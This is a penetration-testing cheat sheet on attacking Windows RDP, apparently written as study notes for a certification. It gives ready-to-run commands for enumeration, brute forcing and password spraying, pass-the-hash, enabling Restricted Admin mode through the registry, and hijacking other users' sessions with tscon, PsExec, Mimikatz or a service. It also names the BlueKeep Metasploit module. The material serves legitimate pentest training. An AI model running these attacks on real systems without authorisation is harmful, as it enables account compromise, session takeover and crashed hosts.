~/service-rdp

RDP

CPTS Notes4 min read

TL;DR

RDP (Remote Desktop Protocol). Microsoft’s remote GUI on TCP 3389 (also UDP 3389). TLS-encrypted, usually behind Network Level Authentication (NLA). Access needs a valid Windows credential or hash.

First checks: NLA and encryption from the scan, then valid credentials or a hash.

Enumeration

Sweep.

nmap -p3389 -sV --script rdp-ntlm-info,rdp-enum-encryption -oA scans/rdp $TARGET # version, NTLM info, security layers

rdp-ntlm-info leaks the hostname and domain. rdp-enum-encryption shows the security layers (RDP, TLS, CredSSP/NLA). Nmap’s RDP cookie mstshash=nmap is easy to fingerprint, so prefer targeted scans on hardened networks.

Check credentials.

nxc rdp $TARGET -u <user> -p <pass> # check one password
nxc rdp $TARGET -u users.txt -p passwords.txt # a file each brutes a list
nxc rdp $TARGET -u <user> -H <nthash> # check an NT hash instead
nxc rdp $TARGET -u <user> -p <pass> --screenshot # screenshot the desktop after login
nxc rdp $TARGET -u <user> --nla-screenshot # screenshot the login prompt, no creds, when NLA is off

Common misconfigurations

  • Weak or reused credentials.
  • NLA disabled, or legacy RDP Security instead of TLS.
  • A self-signed certificate, so the server identity is unverifiable.
  • Restricted Admin mode enabled, which allows pass-the-hash.

Version exploits

  • BlueKeep (CVE-2019-0708): wormable pre-auth RCE on Windows 7, Server 2008 and 2008 R2, XP, and 2003. Unstable, and can crash the target.
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce # Metasploit module for BlueKeep

Attack playbook

RDP is GUI access once you hold a credential or a hash. On current Kali the client is xfreerdp3 (FreeRDP 3). File transfer over the session is in Session Transfers.

  1. Log in with credentials.
    xfreerdp3 /u:<user> /p:'<pass>' /v:$TARGET /cert:ignore # /cert:ignore accepts the self-signed cert
    xfreerdp3 /u:<user> /p:'<pass>' /d:<domain> /v:$TARGET /cert:ignore # /d sets a domain account
  2. Pass the hash. Needs Restricted Admin mode on the target. With admin on the target, enable it with a registry key, then connect with the hash in place of the password.
    xfreerdp3 /u:<user> /pth:<nthash> /v:$TARGET /cert:ignore # pass the hash
    REM enable Restricted Admin mode, on the target as admin
    reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f
    Without it the login fails with an account-restriction error. The win is GUI access when a tool is GUI-only.
  3. Spray carefully. RDP locks accounts, so check the lockout threshold first, then spray one password across a user list. RDP also dislikes parallel connections. See Spraying and Defaults.
    nxc rdp $TARGET -u users.txt -p '<Password>' --continue-on-success # spray, keep going after a hit
    hydra -L users.txt -p '<Password>' rdp://$TARGET -t 4 -W 3 # 4 tasks, wait 3s, keeps the RDP module stable
  4. Hijack another session. tscon reconnects another user’s session to yours with no password. It needs SYSTEM. List the sessions first:
    REM usernames, session IDs, and session names
    query user
    Then get SYSTEM and run tscon <ID> /dest:<your session>. With Sysinternals PsExec:
    REM -s runs as SYSTEM, -i interactive
    PsExec64.exe -s -i cmd.exe
    REM hijack in the SYSTEM shell
    tscon 2 /dest:rdp-tcp#13
    With Mimikatz, which launches the command under a SYSTEM token:
    privilege::debug
    token::elevate
    token::run /process:"cmd.exe /k tscon 2 /dest:rdp-tcp#13"
    Or bake tscon into a service, which runs as SYSTEM by default:
    REM the space after binpath= is required
    sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
    net start sessionhijack
    Patched on Server 2019 and later.
  5. Version exploit. On a legacy target, BlueKeep for pre-auth RCE (see Version exploits).

Practice boxes

RDP rarely stands alone, so there is no clean footprinting box.

RDP is GUI access with found credentials or a hash. BlueKeep is the rare pre-auth exploit on legacy Windows.